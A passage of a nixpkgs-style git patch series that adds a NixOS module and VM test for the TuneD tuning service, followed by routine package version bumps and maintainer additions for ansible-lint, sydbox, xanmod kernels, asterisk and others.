+- [TuneD](https://tuned-project.org/), a system tuning service for Linux. Available as [services.tuned](#opt-services.tuned.enable).
+
 - [Pareto Security](https://paretosecurity.com/) is an alternative to corporate compliance solutions for companies that care about security but know it doesn't have to be invasive. Available as [services.paretosecurity](#opt-services.paretosecurity.enable).
 
 - [GNU Rush](https://gnu.org/software/rush/) is a Restricted User Shell, designed for systems providing limited remote access to their resources. Available as [programs.rush](#opt-programs.rush.enable).
diff --git a/nixos/modules/module-list.nix b/nixos/modules/module-list.nix
index 5466f36d476d..c8b9d1ed2dc7 100644
--- a/nixos/modules/module-list.nix
+++ b/nixos/modules/module-list.nix
@@ -674,6 +674,7 @@
   ./services/hardware/tlp.nix
   ./services/hardware/trezord.nix
   ./services/hardware/triggerhappy.nix
+  ./services/hardware/tuned.nix
   ./services/hardware/tuxedo-rs.nix
   ./services/hardware/udev.nix
   ./services/hardware/udisks2.nix
diff --git a/nixos/modules/services/hardware/tuned.nix b/nixos/modules/services/hardware/tuned.nix
new file mode 100644
index 000000000000..877170605ab1
--- /dev/null
+++ b/nixos/modules/services/hardware/tuned.nix
@@ -0,0 +1,247 @@
+{
+  config,
+  lib,
+  pkgs,
+  ...
+}:
+
+let
+  cfg = config.services.tuned;
+
+  moduleFromName = name: lib.getAttrFromPath (lib.splitString "." name) config;
+
+  settingsFormat = pkgs.formats.iniWithGlobalSection { };
+  profileFormat = pkgs.formats.ini { };
+  ppdSettingsFormat = pkgs.formats.ini { };
+
+  settingsSubmodule = {
+    freeformType = settingsFormat.type;
+
+    options = {
+      daemon = lib.mkEnableOption "the use of a daemon for TuneD" // {
+        default = true;
+      };
+
+      dynamic_tuning = lib.mkEnableOption "dynamic tuning";
+
+      sleep_interval = lib.mkOption {
+        type = lib.types.int;
+        default = 1;
+        description = "Interval in which the TuneD daemon is waken up and checks for events (in seconds).";
+      };
+
+      update_interval = lib.mkOption {
+        type = lib.types.int;
+        default = 10;
+        description = "Update interval for dynamic tuning (in seconds).";
+      };
+
+      recommend_command = lib.mkEnableOption "recommend functionality" // {
+        default = true;
+      };
+
+      reapply_sysctl =
+        lib.mkEnableOption "the reapplying of global sysctls after TuneD sysctls are applied"
+        // {
+          default = true;
+        };
+
+      default_instance_priority = lib.mkOption {
+        type = lib.types.int;
+        default = 0;
+        description = "Default instance (unit) priority.";
+      };
+
+      profile_dirs = lib.mkOption {
+        type = lib.types.str;
+        default = "/etc/tuned/profiles";
+        # Ensure we always have the vendored profiles available
+        apply = dirs: "${cfg.package}/lib/tuned/profiles," + dirs;
+        description = "Directories to search for profiles, separated by `,` or `;`.";
+      };
+    };
+  };
+
+  ppdSettingsSubmodule = {
+    freeformType = ppdSettingsFormat.type;
+
+    options = {
+      main = lib.mkOption {
+        type = lib.types.submodule {
+          options = {
+            default = lib.mkOption {
+              type = lib.types.str;
+              default = "balanced";
+              description = "Default PPD profile.";
+              example = "performance";
+            };
+
+            battery_detection = lib.mkEnableOption "battery detection" // {
+              default = true;
+            };
+          };
+        };
+        default = { };
+        description = "Core configuration for power-profiles-daemon support.";
+      };
+
+      profiles = lib.mkOption {
+        type = lib.types.attrsOf lib.types.str;
+        default = {
+          power-saver = "powersave";
+          balanced = "balanced";
+          performance = "throughput-performance";
+        };
+        description = "Map of PPD profiles to native TuneD profiles.";
+      };
+
+      battery = lib.mkOption {
+        type = lib.types.attrsOf lib.types.str;
+        default = {
+          balanced = "balanced-battery";
+        };
+        description = "Map of PPD battery states to TuneD profiles.";
+      };
+    };
+  };
+in
+
+{
+  options.services.tuned = {
+    enable = lib.mkEnableOption "TuneD";
+
+    package = lib.mkPackageOption pkgs "tuned" { };
+
+    settings = lib.mkOption {
+      type = lib.types.submodule settingsSubmodule;
+      default = { };
+      description = ''
+        Configuration for TuneD.
+        See {manpage}`tuned-main.conf(5)`.
+      '';
+    };
+
+    profiles = lib.mkOption {
+      type = lib.types.attrsOf (
+        lib.types.submodule {
+          freeformType = profileFormat.type;
+        }
+      );
+      default = { };
+      description = ''
+        Profiles for TuneD.
+        See {manpage}`tuned.conf(5)`.
+      '';
+      example = {
+        my-cool-profile = {
+          main.include = "my-other-cool-profile";
+
+          my_sysctl = {
+            type = "sysctl";
+            replace = true;
+
+            "net.core.rmem_default" = 262144;
+            "net.core.wmem_default" = 262144;
+          };
+        };
+      };
+    };
+
+    ppdSupport = lib.mkEnableOption "translation of power-profiles-daemon API calls to TuneD" // {
+      default = true;
+    };
+
+    ppdSettings = lib.mkOption {
+      type = lib.types.submodule ppdSettingsSubmodule;
+      default = { };
+      description = ''
+        Settings for TuneD's power-profiles-daemon compatibility service.
+      '';
+    };
+  };
+
+  config = lib.mkIf cfg.enable {
+    assertions = [
+      # From `tuned.service`
+      {
+        assertion = config.security.polkit.enable;
+        message = "`services.tuned` requires `security.polkit` to be enabled.";
+      }
+
+      {
+        assertion = cfg.settings.dynamic_tuning -> cfg.settings.daemon;
+        message = "`services.tuned.settings.dynamic_tuning` requires `services.tuned.settings.daemon` to be `true`.";
+      }
+    ]
+    # Declare service conflicts, also sourced from `tuned.service`
+    ++
+      map
+        (name: {
+          assertion = !(moduleFromName name).enable;
+          message = "`services.tuned` conflicts with `${name}`.";
+        })
+        [
+          "services.auto-cpufreq"
+          "services.power-profiles-daemon"
+          "services.tlp"
+        ];
+
+    environment = {
+      etc = lib.mkMerge [
+        {
+          "tuned/tuned-main.conf".source = settingsFormat.generate "tuned-main.conf" {
+            sections = { };
+            globalSection = cfg.settings;
+          };
+
+          "tuned/ppd.conf".source = lib.mkIf cfg.ppdSupport (
+            ppdSettingsFormat.generate "ppd.conf" cfg.ppdSettings
+          );
+        }
+
+        (lib.mapAttrs' (
+          name: value:
+          lib.nameValuePair "tuned/profiles/${name}/tuned.conf" {
+            source = profileFormat.generate "tuned.conf" value;
+          }
+        ) cfg.profiles)
+      ];
+
+      systemPackages = [ cfg.package ];
+    };
+
+    security.polkit.enable = lib.mkDefault true;
+
+    services = {
+      dbus.packages = [ cfg.package ];
+
+      # Many DEs (like GNOME and KDE Plasma) enable PPD by default
+      # Let's try to make it easier to transition by only enabling this module
+      power-profiles-daemon.enable = false;
+    };
+
+    systemd = {
+      packages = [ cfg.package ];
+
+      services = {
+        tuned = {
+          wantedBy = [ "multi-user.target" ];
+        };
+
+        tuned-ppd = lib.mkIf cfg.ppdSupport {
+          wantedBy = [ "graphical.target" ];
+        };
+      };
+
+      tmpfiles = {
+        packages = [ cfg.package ];
+
+        # NOTE(@getchoo): `cfg.package` should contain a `tuned.conf` for tmpfiles.d already. Avoid a naming conflict!
+        settings.tuned-profiles = {
+          # Required for tuned-gui
+          "/etc/tuned/profiles".d = { };
+        };
+      };
+    };
+  };
+}
diff --git a/nixos/tests/all-tests.nix b/nixos/tests/all-tests.nix
index 905a9afc85ba..6eb52ca5c223 100644
--- a/nixos/tests/all-tests.nix
+++ b/nixos/tests/all-tests.nix
@@ -1408,6 +1408,7 @@ in
   ttyd = handleTest ./web-servers/ttyd.nix { };
   tt-rss = handleTest ./web-apps/tt-rss.nix { };
   txredisapi = handleTest ./txredisapi.nix { };
+  tuned = runTest ./tuned.nix;
   tuptime = handleTest ./tuptime.nix { };
   turbovnc-headless-server = handleTest ./turbovnc-headless-server.nix { };
   turn-rs = handleTest ./turn-rs.nix { };
diff --git a/nixos/tests/tuned.nix b/nixos/tests/tuned.nix
new file mode 100644
index 000000000000..ad5aacbe0fb3
--- /dev/null
+++ b/nixos/tests/tuned.nix
@@ -0,0 +1,51 @@
+{ pkgs, ... }:
+
+{
+  name = "tuned";
+  meta = { inherit (pkgs.tuned.meta) maintainers; };
+
+  nodes.machine = {
+    imports = [ ./common/x11.nix ];
+
+    services.tuned = {
+      enable = true;
+
+      profiles = {
+        test-profile = {
+          sysctls = {
+            type = "sysctl";
+            replace = true;
+
+            "net.core.rmem_default" = 262144;
+            "net.core.wmem_default" = 262144;
+          };
+        };
+      };
+    };
+  };
+
+  enableOCR = true;
+
+  testScript = ''
+    with subtest("Wait for service startup"):
+      machine.wait_for_x()
+      machine.wait_for_unit("tuned.service")
+      machine.wait_for_unit("tuned-ppd.service")
+
+    with subtest("Get service status"):
+      machine.succeed("systemctl status tuned.service")
+
+    # NOTE(@getchoo): `pkgs.tuned` provides its own `tuned.conf` for tmpfiles.d
+    # A naming conflict with it and a `systemd.tmpfiles.settings` entry appeared in the initial PR for this module
+    # This breaks the GUI in some cases, and it was annoying to figure out. Make sure it doesn't happen again!
+    with subtest("Ensure systemd-tmpfiles paths are configured"):
+      machine.succeed("systemd-tmpfiles --cat-config | grep '/etc/tuned/profiles'")
+      machine.succeed("systemd-tmpfiles --cat-config | grep '/run/tuned'")
+
+    with subtest("Test GUI"):
+      machine.execute("tuned-gui >&2 &")
+      machine.wait_for_window("tuned")
+      machine.wait_for_text("Start TuneD Daemon")
+      machine.screenshot("gui")
+  '';
+}
diff --git a/pkgs/by-name/tu/tuned/package.nix b/pkgs/by-name/tu/tuned/package.nix
index 5ab810f1ac5f..be327670daf8 100644
--- a/pkgs/by-name/tu/tuned/package.nix
+++ b/pkgs/by-name/tu/tuned/package.nix
@@ -11,6 +11,7 @@
   hdparm,
   iproute2,
   nix-update-script,
+  nixosTests,
   pkg-config,
   powertop,
   python3Packages,
@@ -135,6 +136,9 @@ stdenv.mkDerivation (finalAttrs: {
   '';
 
   passthru = {
+    tests = lib.optionalAttrs stdenv.hostPlatform.isLinux {
+      nixos = nixosTests.tuned;
+    };
     updateScript = nix-update-script { };
   };
 

From 3346b2f65401d5e395d60ee04c496b66989b30ab Mon Sep 17 00:00:00 2001
From: emaryn <emaryn@users.noreply.github.com>
Date: Mon, 2 Jun 2025 13:13:17 +0800
Subject: [PATCH 3131/4511] ansible-lint: 25.4.0 -> 25.5.0

Changelog: https://github.com/ansible/ansible-lint/releases/tag/v25.5.0
(cherry picked from commit a9eed0efde3f95e2031b0a705cf7fac95524a3cf)
---
 pkgs/by-name/an/ansible-lint/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/an/ansible-lint/package.nix b/pkgs/by-name/an/ansible-lint/package.nix
index 6a7cf6d2ae9d..e93fa3347c56 100644
--- a/pkgs/by-name/an/ansible-lint/package.nix
+++ b/pkgs/by-name/an/ansible-lint/package.nix
@@ -8,13 +8,13 @@
 
 python3Packages.buildPythonApplication rec {
   pname = "ansible-lint";
-  version = "25.4.0";
+  version = "25.5.0";
   pyproject = true;
 
   src = fetchPypi {
     inherit version;
     pname = "ansible_lint";
-    hash = "sha256-8vKzGtGZklsjQ/ZgVS+5Rolw8WwsXVfan+rnDsTuyn0=";
+    hash = "sha256-QYJSDyM+70JIvEz0tgdOJc2vW+Ic+b6USqvIXfVAfpw=";
   };
 
   postPatch = ''

From 6e5f2b2f9d0d137b6ca2389bd8784523872ac5d9 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 24 Jun 2025 22:13:50 +0000
Subject: [PATCH 3132/4511] ansible-lint: 25.5.0 -> 25.6.1

(cherry picked from commit c01f4bd6e24e4ecd89e1e5eb5a7d56b953194fc6)
---
 pkgs/by-name/an/ansible-lint/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/an/ansible-lint/package.nix b/pkgs/by-name/an/ansible-lint/package.nix
index e93fa3347c56..9ce52babe8c8 100644
--- a/pkgs/by-name/an/ansible-lint/package.nix
+++ b/pkgs/by-name/an/ansible-lint/package.nix
@@ -8,13 +8,13 @@
 
 python3Packages.buildPythonApplication rec {
   pname = "ansible-lint";
-  version = "25.5.0";
+  version = "25.6.1";
   pyproject = true;
 
   src = fetchPypi {
     inherit version;
     pname = "ansible_lint";
-    hash = "sha256-QYJSDyM+70JIvEz0tgdOJc2vW+Ic+b6USqvIXfVAfpw=";
+    hash = "sha256-ah3St6nz8gLJ6SpsgClv8zyoYzSMOs+Xj4D7DUU23OQ=";
   };
 
   postPatch = ''

From 20f9eb409360566defe10ad684097c49f34be0e0 Mon Sep 17 00:00:00 2001
From: Haris <67912527+HarisDotParis@users.noreply.github.com>
Date: Mon, 23 Jun 2025 18:28:59 +0200
Subject: [PATCH 3133/4511] maintainers: add HarisDotParis

(cherry picked from commit 633cee49773ed67f60b366e63d72ae590424129a)
---
 maintainers/maintainer-list.nix | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index 2b2ebc50894f..58afcf1184c1 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -9630,6 +9630,13 @@
     name = "Martin Hardselius";
     keys = [ { fingerprint = "3F35 E4CA CBF4 2DE1 2E90  53E5 03A6 E6F7 8693 6619"; } ];
   };
+  HarisDotParis = {
+    name = "Haris";
+    email = "nix.dev@haris.paris";
+    matrix = "@haris:haris.paris";
+    github = "HarisDotParis";
+    githubId = 67912527;
+  };
   harryposner = {
     email = "nixpkgs@harryposner.com";
     github = "harryposner";

From dd7bbf876c7a9ea810e58d9c7d5590e0f7d490a9 Mon Sep 17 00:00:00 2001
From: Haris <haris@mailbox.org>
Date: Fri, 4 Jul 2025 00:04:31 +0200
Subject: [PATCH 3134/4511] ansible-lint: add maintainer HarisDotParis

(cherry picked from commit c8e94d293b7daa6a3c2ce694c0d58bbea8735329)
---
 pkgs/by-name/an/ansible-lint/package.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/an/ansible-lint/package.nix b/pkgs/by-name/an/ansible-lint/package.nix
index 9ce52babe8c8..b4c738b0f6e8 100644
--- a/pkgs/by-name/an/ansible-lint/package.nix
+++ b/pkgs/by-name/an/ansible-lint/package.nix
@@ -95,6 +95,9 @@ python3Packages.buildPythonApplication rec {
     homepage = "https://github.com/ansible/ansible-lint";
     changelog = "https://github.com/ansible/ansible-lint/releases/tag/v${version}";
     license = lib.licenses.mit;
-    maintainers = with lib.maintainers; [ sengaya ];
+    maintainers = with lib.maintainers; [
+      sengaya
+      HarisDotParis
+    ];
   };
 }

From 2d0284440b6dbe5cb9bb517450bfea88592066e5 Mon Sep 17 00:00:00 2001
From: Robert Sliwinski <r@sliwi.org>
Date: Wed, 25 Jun 2025 20:25:36 +0200
Subject: [PATCH 3135/4511] maintainer: add robsliwi

(cherry picked from commit ebe7bb333073620131f3ea85d205f24a11c29bad)
---
 maintainers/maintainer-list.nix | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index 58afcf1184c1..80865df928d4 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -21235,6 +21235,13 @@
     githubId = 1069318;
     name = "Robin Lambertz";
   };
+  robsliwi = {
+    email = "r@sliwi.org";
+    github = "robsliwi";
+    githubId = 14806293;
+    keys = [ { fingerprint = "37F4 9AB8 340B AAE2 4DB8  4322 08BD 6076 8CCE 08F1"; } ];
+    name = "Robert Sliwinski";
+  };
   robwalt = {
     email = "robwalter96@gmail.com";
     github = "robwalt";

From ddc8fb8bf3b9d3e97a74dac2c676c22e623f1b5a Mon Sep 17 00:00:00 2001
From: Robert Sliwinski <r@sliwi.org>
Date: Wed, 9 Jul 2025 20:10:15 +0200
Subject: [PATCH 3136/4511] ansible-lint: add maintainer robsliwi

(cherry picked from commit cdaf32351e459587cc079bbb3ba16e360eb70563)
---
 pkgs/by-name/an/ansible-lint/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/an/ansible-lint/package.nix b/pkgs/by-name/an/ansible-lint/package.nix
index b4c738b0f6e8..b5f65a8afc29 100644
--- a/pkgs/by-name/an/ansible-lint/package.nix
+++ b/pkgs/by-name/an/ansible-lint/package.nix
@@ -98,6 +98,7 @@ python3Packages.buildPythonApplication rec {
     maintainers = with lib.maintainers; [
       sengaya
       HarisDotParis
+      robsliwi
     ];
   };
 }

From 7806220a46390cdc2850db2385620f24f389a07f Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 31 Jul 2025 04:47:04 +0000
Subject: [PATCH 3137/4511] ansible-lint: 25.6.1 -> 25.7.0

(cherry picked from commit 0728b35da3b55bb9aee60868208f8d0f32614687)
---
 pkgs/by-name/an/ansible-lint/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/an/ansible-lint/package.nix b/pkgs/by-name/an/ansible-lint/package.nix
index b5f65a8afc29..e0c8bedd0de3 100644
--- a/pkgs/by-name/an/ansible-lint/package.nix
+++ b/pkgs/by-name/an/ansible-lint/package.nix
@@ -8,13 +8,13 @@
 
 python3Packages.buildPythonApplication rec {
   pname = "ansible-lint";
-  version = "25.6.1";
+  version = "25.7.0";
   pyproject = true;
 
   src = fetchPypi {
     inherit version;
     pname = "ansible_lint";
-    hash = "sha256-ah3St6nz8gLJ6SpsgClv8zyoYzSMOs+Xj4D7DUU23OQ=";
+    hash = "sha256-mvz0GZl84f/FesqjpW83e86M7rnbEOarhP1WXQm+QIs=";
   };
 
   postPatch = ''

From b37b3a02d06581019c324c2094cb751a2a1c22a5 Mon Sep 17 00:00:00 2001
From: arthsmn <arthsmn@proton.me>
Date: Sat, 26 Jul 2025 15:56:44 -0300
Subject: [PATCH 3138/4511] qtgreet: 2.0.3.95 -> 2.0.4

(cherry picked from commit 14714421da278f0c6eefa1b7d3a4c0ba900102ba)
---
 pkgs/applications/display-managers/greetd/qtgreet.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/applications/display-managers/greetd/qtgreet.nix b/pkgs/applications/display-managers/greetd/qtgreet.nix
index 6a55cd307b1b..40068bec30ec 100644
--- a/pkgs/applications/display-managers/greetd/qtgreet.nix
+++ b/pkgs/applications/display-managers/greetd/qtgreet.nix
@@ -17,7 +17,7 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "qtgreet";
-  version = "2.0.3.95";
+  version = "2.0.4";
 
   src = fetchFromGitLab {
     owner = "marcusbritanicus";

From 49ff3b799b3fdf883ce123837dfc3c4fac39712c Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Sat, 2 Aug 2025 11:19:55 -0400
Subject: [PATCH 3139/4511] sydbox: remove useFetchCargoVendor usage

(cherry picked from commit 398b16e16cc688d8ffcf820d1ec50a55da44a108)
---
 pkgs/by-name/sy/sydbox/package.nix | 1 -
 1 file changed, 1 deletion(-)

diff --git a/pkgs/by-name/sy/sydbox/package.nix b/pkgs/by-name/sy/sydbox/package.nix
index 2f0a9b3e1e47..906d7b4bd139 100644
--- a/pkgs/by-name/sy/sydbox/package.nix
+++ b/pkgs/by-name/sy/sydbox/package.nix
@@ -27,7 +27,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-XGZHUMVTJLlWIwgEqVCMoHDoDkzkFAdTvOOtMtCAw98=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-+NI1poeMXMlR9rafmGKu6i6iFORe2IGVVPj08MP8g3o=";
 
   nativeBuildInputs = [

From 075e70ab32ea1d2df023a274c72b4a2fd39d54d2 Mon Sep 17 00:00:00 2001
From: mivorasu <221005165+mivorasu@users.noreply.github.com>
Date: Wed, 23 Jul 2025 04:23:40 +0000
Subject: [PATCH 3140/4511] sydbox: conform descriptions to the standards

(cherry picked from commit ee0866bddda29235c7c412a1596cfbe791273a81)
---
 pkgs/by-name/sy/sydbox/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/sy/sydbox/package.nix b/pkgs/by-name/sy/sydbox/package.nix
index 906d7b4bd139..10fc1ff3cf01 100644
--- a/pkgs/by-name/sy/sydbox/package.nix
+++ b/pkgs/by-name/sy/sydbox/package.nix
@@ -76,7 +76,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
   };
 
   meta = {
-    description = "seccomp-based application sandbox";
+    description = "Seccomp-based application sandbox";
     homepage = "https://gitlab.exherbo.org/sydbox/sydbox";
     changelog = "https://gitlab.exherbo.org/sydbox/sydbox/-/blob/${finalAttrs.src.tag}/ChangeLog.md";
     license = lib.licenses.gpl3Plus;

From b30196204896824b6b96a0bbad98ddf1d095055e Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 1 Aug 2025 16:15:14 +0000
Subject: [PATCH 3141/4511] sydbox: 3.36.0 -> 3.37.2

(cherry picked from commit ee30ff090299a2fd5dd49184213756325b5f7855)
---
 pkgs/by-name/sy/sydbox/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/sy/sydbox/package.nix b/pkgs/by-name/sy/sydbox/package.nix
index 10fc1ff3cf01..59dac6afe740 100644
--- a/pkgs/by-name/sy/sydbox/package.nix
+++ b/pkgs/by-name/sy/sydbox/package.nix
@@ -12,7 +12,7 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "sydbox";
-  version = "3.36.0";
+  version = "3.37.2";
 
   outputs = [
     "out"
@@ -24,10 +24,10 @@ rustPlatform.buildRustPackage (finalAttrs: {
     owner = "Sydbox";
     repo = "sydbox";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-XGZHUMVTJLlWIwgEqVCMoHDoDkzkFAdTvOOtMtCAw98=";
+    hash = "sha256-XV3eB6XGDwoJK+wpfuARV7F4OqZJfoAqDmsYS8D2AK4=";
   };
 
-  cargoHash = "sha256-+NI1poeMXMlR9rafmGKu6i6iFORe2IGVVPj08MP8g3o=";
+  cargoHash = "sha256-uIcF4mzIYOgSfQVFl6kh3337AmdVFDDXIMXtVCqcoXg=";
 
   nativeBuildInputs = [
     mandoc

From 4d448bbc65dbb2539cb086d5960c4ba9891bf9d1 Mon Sep 17 00:00:00 2001
From: Jordan Williams <jordan@jwillikers.com>
Date: Fri, 1 Aug 2025 14:30:11 -0500
Subject: [PATCH 3142/4511] ludusavi: add rclone dependency

(cherry picked from commit aa569b3a1a3c4cbd2ab23e8f16f81f73e6b6ad93)
---
 pkgs/by-name/lu/ludusavi/package.nix | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/lu/ludusavi/package.nix b/pkgs/by-name/lu/ludusavi/package.nix
index 5c6ccfa61eb0..a050d1793416 100644
--- a/pkgs/by-name/lu/ludusavi/package.nix
+++ b/pkgs/by-name/lu/ludusavi/package.nix
@@ -28,6 +28,7 @@
   dbus-glib,
   gtk3,
   glib,
+  rclone,
 }:
 
 rustPlatform.buildRustPackage rec {
@@ -37,7 +38,7 @@ rustPlatform.buildRustPackage rec {
   src = fetchFromGitHub {
     owner = "mtkennerly";
     repo = "ludusavi";
-    rev = "v${version}";
+    tag = "v${version}";
     hash = "sha256-IApPudo8oD6YkYJkGpowqpaqrsl2/Q2VFyYfYQI3mN0=";
   };
 
@@ -109,6 +110,7 @@ rustPlatform.buildRustPackage rec {
       patchelf --set-rpath "${libPath}" "$out/bin/ludusavi"
       wrapProgram $out/bin/ludusavi --prefix PATH : ${
         lib.makeBinPath [
+          rclone
           zenity
           libsForQt5.kdialog
         ]

From 7405b152f34900f1b1ccb71ccb15992f9d2f7374 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Sat, 2 Aug 2025 06:28:57 +0200
Subject: [PATCH 3143/4511] linux_xanmod: 6.12.40 -> 6.12.41

(cherry picked from commit f00e007371886b534f6e4aecb01ba9ebe899fe21)
---
 pkgs/os-specific/linux/kernel/xanmod-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
index 5b68f009e3d8..5aaec7d5bffd 100644
--- a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
@@ -15,8 +15,8 @@ let
   variants = {
     # ./update-xanmod.sh lts
     lts = {
-      version = "6.12.40";
-      hash = "sha256-L8wL47kD+lrnJsrp0B1MZ2Lg8zs+m1vQ24gPGuvxIA0=";
+      version = "6.12.41";
+      hash = "sha256-REi1cQBAYsfBLCkyhLQfbsREPMzvJHFbCUg1p8oNamA=";
     };
     # ./update-xanmod.sh main
     main = {

From 3de2f5b64e943dba988aa5db59c490a654a20675 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Sat, 2 Aug 2025 06:33:02 +0200
Subject: [PATCH 3144/4511] linux_xanmod_latest: 6.15.8 -> 6.15.9

(cherry picked from commit 37c8670ed90543737cc93035b8efd9c819da635f)
---
 pkgs/os-specific/linux/kernel/xanmod-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
index 5aaec7d5bffd..56fdfd3bc172 100644
--- a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
@@ -20,8 +20,8 @@ let
     };
     # ./update-xanmod.sh main
     main = {
-      version = "6.15.8";
-      hash = "sha256-P4DpTS0RhvsgBrNDsZMiA1NvCQucuPmJ4GDyF9mZ7ZU=";
+      version = "6.15.9";
+      hash = "sha256-43SaSDdOfz+aG2T2C9UFbbXYi/7YxbQfTYrKjeEMP+E=";
     };
   };
 

From e7091093dfb7071aa86a8cb4cdb87ea6838d3bd7 Mon Sep 17 00:00:00 2001
From: Franz Pletz <fpletz@fnordicwalking.de>
Date: Wed, 30 Jul 2025 17:59:51 +0200
Subject: [PATCH 3145/4511] asterisk: 18.26.1 -> 18.26.2, 20.11.1 -> 20.15.0,
 22.1.1 -> 22.5.0

(cherry picked from commit e583257f1682721d05780bd10fdc3f4baf736516)
---
 pkgs/servers/asterisk/versions.json | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/pkgs/servers/asterisk/versions.json b/pkgs/servers/asterisk/versions.json
index 367ba20f8fc7..3b8142f6e35d 100644
--- a/pkgs/servers/asterisk/versions.json
+++ b/pkgs/servers/asterisk/versions.json
@@ -1,18 +1,18 @@
 {
   "asterisk_18": {
-    "sha256": "5df5d1c3885428b8bf03e78d7b8c3079d4512679137ef1d47e865dc2058aa825",
-    "version": "18.26.1"
+    "sha256": "745689c84d63ae94dfa0b3d4bdde3c6907b72472018532f757d9c0d169705964",
+    "version": "18.26.2"
   },
   "asterisk_20": {
-    "sha256": "5ad25c136c7772f0ad10ae02d59f19b32c0cf64027278e3de6a6314ee24d5ff9",
-    "version": "20.11.1"
+    "sha256": "7c45cf254c7442748fa14ba4e31ae8f09cd2ad958168577de091c0bf0b0a2d2e",
+    "version": "20.15.0"
   },
   "asterisk_21": {
-    "sha256": "8df00a37b448fdaf63ffe25be0df02112211c1617efcb00b21cdb58f1baed89d",
-    "version": "21.6.1"
+    "sha256": "16051efbcc6fb95c0408f0ecc9dcf2d78a9346323f5d1fcd9723faedcb0f3fd8",
+    "version": "21.10.0"
   },
   "asterisk_22": {
-    "sha256": "e697740d91c33bf02d506d4da04635da48bfb0b5bb79bf8863c1a9b8f791264f",
-    "version": "22.1.1"
+    "sha256": "944967288ec01587feeef42869a97baa37ab635bea7d539df16f70d3af48c613",
+    "version": "22.5.0"
   }
 }

From fcba09cd98f649e1c94206741c25fcc552c99198 Mon Sep 17 00:00:00 2001
From: Franz Pletz <fpletz@fnordicwalking.de>
Date: Wed, 30 Jul 2025 18:01:21 +0200
Subject: [PATCH 3146/4511] asterisk: fix regex escapes in update script

(cherry picked from commit 5a751204bc37373fd31f00f9077be2636220ad4a)
---
 pkgs/servers/asterisk/update.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/servers/asterisk/update.py b/pkgs/servers/asterisk/update.py
index 1e5029416938..8a127be3952e 100755
--- a/pkgs/servers/asterisk/update.py
+++ b/pkgs/servers/asterisk/update.py
@@ -10,7 +10,7 @@ from pathlib import Path
 URL = "https://downloads.asterisk.org/pub/telephony/asterisk/"
 
 page = requests.get(URL)
-changelog = re.compile("^ChangeLog-\d+\.\d+\.\d+\.md$")
+changelog = re.compile(r"^ChangeLog-\d+\.\d+\.\d+\.md$")
 changelogs = [a.get_text() for a in BeautifulSoup(page.text, 'html.parser').find_all('a') if changelog.match(a.get_text())]
 major_versions = {}
 for changelog in changelogs:

From eceab9fb00a6cd8c559dc4b37f66a5718ef088b3 Mon Sep 17 00:00:00 2001
From: Franz Pletz <fpletz@fnordicwalking.de>
Date: Wed, 30 Jul 2025 18:08:27 +0200
Subject: [PATCH 3147/4511] asterisk: update dependencies

(cherry picked from commit 1b2c6b9f402a8464098afdb5bfc84c7d15c7de57)
---
 pkgs/servers/asterisk/default.nix | 32 +++++++++++++++----------------
 1 file changed, 16 insertions(+), 16 deletions(-)

diff --git a/pkgs/servers/asterisk/default.nix b/pkgs/servers/asterisk/default.nix
index da2845f8ea80..1f4854c0b9c3 100644
--- a/pkgs/servers/asterisk/default.nix
+++ b/pkgs/servers/asterisk/default.nix
@@ -147,7 +147,7 @@ let
       postInstall = ''
         # Install sample configuration files for this version of Asterisk
         make samples
-        ${lib.optionalString (lib.versionAtLeast version "17.0.0") "make install-headers"}
+        make install-headers
       '';
 
       meta = with lib; {
@@ -163,19 +163,20 @@ let
       };
     };
 
-  pjproject_2_14_1 =
-    fetchurl {
